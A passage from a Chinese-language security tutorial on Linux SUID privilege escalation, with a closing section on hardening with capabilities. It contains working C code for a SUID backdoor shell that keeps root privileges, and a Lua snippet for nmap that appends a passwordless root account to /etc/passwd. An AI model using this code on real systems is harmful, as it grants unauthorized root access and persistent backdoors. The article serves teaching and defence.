黑客大神谈一谈Linux与suid提权( 三 )


一旦拥有suid的程序存在命令注入漏洞或其本身存在执行命令的功能,那么就有本地提权的风险,如果在sh中增加这个限制,提权的隐患就能被极大地遏制 。
那么,如果我们就是要留一个具有suid的shell作为后门,我们应该怎么做?
将之前的suid.c做如下修改:
int main(int argc, char* argv[]) {
setuid(0);
system(argv[1]);
}
编译和执行,我们就可以发现,id命令输出的uid就是0了:

黑客大神谈一谈Linux与suid提权

文章插图
 
原因是我们将当前进程的Real UID也修改成了0,Real UID和Effective UID相等,在进入dash后就不会被降权了 。
另一种方法,我们可以给dash或bash增加-p选项,让其不对shell降权 。但这里要注意,我们不能再使用system函数了,因为system()内部执行的是/bin/sh -c,我们只能控制-c的参数值,无法给sh中增加-p选项 。
这里我们可以使用execl或其他exec系列函数:
int main(int argc, char* argv[]) {
return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
}
此时输出结果类似于Ubuntu 14.04里的结果,因为我给sh加了-p参数:
黑客大神谈一谈Linux与suid提权

文章插图
 
再回到我们最初的问题:那么具有suid权限的nmap在Ubuntu 18.04或类似系统中我们如何进行提权呢?
因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权 。但是因为此时nmap已经是root权限,我们可以通过修改/etc/passwd的方式来添加一个新的super user:
local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bashn")
file:close()
成功提权:
黑客大神谈一谈Linux与suid提权

文章插图
 
如何让系统变得更安全作为一个系统的运维人员,我们如何来防御类似的suid提权攻击呢?
当然我们需要先感谢Linux内核和Ubuntu和Debian等发行版的开发人员,他们也在慢慢帮我们不断提高系统的安全性和稳定性,但类似于nmap这样功能强大的软件,我们无法奢求一律Secure By Default,所以必须学习一些更有趣的知识 。
Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离 。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明 。
类似于ping和nmap这样的程序,他们其实只需要网络相关的特权即可 。所以,如果你在Kali下查看ping命令的capabilities,你会看到一个cap_net_raw:
$ ls -al /bin/ping
-rwxr-xr-x 1 root root 73496 Oct 5 22:34 /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep
这就是为什么kali的ping命令无需设置setuid权限,却仍然可以以普通用户身份运行的原因 。
同样,我们也可以给nmap增加类似的capabilities:
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1
再次使用TCP SYN扫描时就不会出现权限错误的情况了:
 
黑客大神谈一谈Linux与suid提权

文章插图
 
原文地址:https://xz.aliyun.com/t/7258




推荐阅读